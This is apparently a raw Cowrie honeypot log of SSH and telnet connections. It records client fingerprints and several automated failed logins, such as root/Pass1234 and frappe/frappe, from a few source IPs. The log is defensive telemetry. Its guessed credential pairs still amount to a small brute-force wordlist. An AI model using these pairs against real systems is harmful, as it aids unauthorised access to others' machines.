{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47978,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bcaa150acd2","protocol":"ssh","message":"New connection: 192.109.200.237:47978 (159.203.135.109:22) [session: 8bcaa150acd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:20.616212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:20.620633Z","src_ip":"192.109.200.237","session":"8bcaa150acd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:20.706968Z","src_ip":"192.109.200.237","session":"8bcaa150acd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:20.958384Z","src_ip":"192.109.200.237","session":"8bcaa150acd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:22.045201Z","src_ip":"192.109.200.237","session":"8bcaa150acd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47994,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1a0e4eb85fd","protocol":"ssh","message":"New connection: 192.109.200.237:47994 (159.203.135.109:22) [session: a1a0e4eb85fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:24.109346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:24.114988Z","src_ip":"192.109.200.237","session":"a1a0e4eb85fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:24.198022Z","src_ip":"192.109.200.237","session":"a1a0e4eb85fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:24.445743Z","src_ip":"192.109.200.237","session":"a1a0e4eb85fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:25.532765Z","src_ip":"192.109.200.237","session":"a1a0e4eb85fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.465271472930908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:26.272706Z","src_ip":"50.6.8.71","session":"844fcf03aab2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48000,"dst_ip":"159.203.135.109","dst_port":22,"session":"021cc469eba2","protocol":"ssh","message":"New connection: 192.109.200.237:48000 (159.203.135.109:22) [session: 021cc469eba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:27.971931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:27.980371Z","src_ip":"192.109.200.237","session":"021cc469eba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:28.063363Z","src_ip":"192.109.200.237","session":"021cc469eba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:28.310251Z","src_ip":"192.109.200.237","session":"021cc469eba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:29.395718Z","src_ip":"192.109.200.237","session":"021cc469eba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45980,"dst_ip":"10.17.0.5","dst_port":23,"session":"f021cd900d58","protocol":"telnet","message":"New connection: 50.6.8.71:45980 (10.17.0.5:23) [session: f021cd900d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:29.689690Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45984,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dce0af74154","protocol":"telnet","message":"New connection: 50.6.8.71:45984 (10.17.0.5:23) [session: 1dce0af74154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:30.097347Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40212,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d33e2cca19c","protocol":"ssh","message":"New connection: 192.109.200.237:40212 (159.203.135.109:22) [session: 0d33e2cca19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:31.441567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:31.446974Z","src_ip":"192.109.200.237","session":"0d33e2cca19c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:31.530570Z","src_ip":"192.109.200.237","session":"0d33e2cca19c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:31.784456Z","src_ip":"192.109.200.237","session":"0d33e2cca19c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:32.871940Z","src_ip":"192.109.200.237","session":"0d33e2cca19c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.67460346221924,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:33.566370Z","src_ip":"23.94.28.189","session":"0810846b23c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40222,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a1b9bd1eb7b","protocol":"ssh","message":"New connection: 192.109.200.237:40222 (159.203.135.109:22) [session: 0a1b9bd1eb7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:35.181521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:35.186340Z","src_ip":"192.109.200.237","session":"0a1b9bd1eb7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:35.268888Z","src_ip":"192.109.200.237","session":"0a1b9bd1eb7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:35.514181Z","src_ip":"192.109.200.237","session":"0a1b9bd1eb7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:36.598988Z","src_ip":"192.109.200.237","session":"0a1b9bd1eb7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40238,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8f955ee65f6","protocol":"ssh","message":"New connection: 192.109.200.237:40238 (159.203.135.109:22) [session: e8f955ee65f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:38.667574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:38.671626Z","src_ip":"192.109.200.237","session":"e8f955ee65f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:38.754064Z","src_ip":"192.109.200.237","session":"e8f955ee65f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:39.003574Z","src_ip":"192.109.200.237","session":"e8f955ee65f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40498,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6ca9d7411b6","protocol":"ssh","message":"New connection: 80.94.92.184:40498 (159.203.135.109:22) [session: c6ca9d7411b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:39.771037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:39.992341Z","src_ip":"80.94.92.184","session":"c6ca9d7411b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:39.996386Z","src_ip":"80.94.92.184","session":"c6ca9d7411b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.519213676452637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:40.077466Z","src_ip":"50.6.8.71","session":"b1823fce7d6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:40.088209Z","src_ip":"192.109.200.237","session":"e8f955ee65f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:41.844544Z","src_ip":"80.94.92.184","session":"c6ca9d7411b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44538,"dst_ip":"159.203.135.109","dst_port":22,"session":"157428d1b5f0","protocol":"ssh","message":"New connection: 192.109.200.237:44538 (159.203.135.109:22) [session: 157428d1b5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:42.125571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:42.130613Z","src_ip":"192.109.200.237","session":"157428d1b5f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:42.307626Z","src_ip":"192.109.200.237","session":"157428d1b5f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:42.606586Z","src_ip":"192.109.200.237","session":"157428d1b5f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.88871717453003,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:42.871777Z","src_ip":"50.6.8.71","session":"5e2c13519307","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:43.010991Z","src_ip":"80.94.92.184","session":"c6ca9d7411b6","protocol":"ssh"}
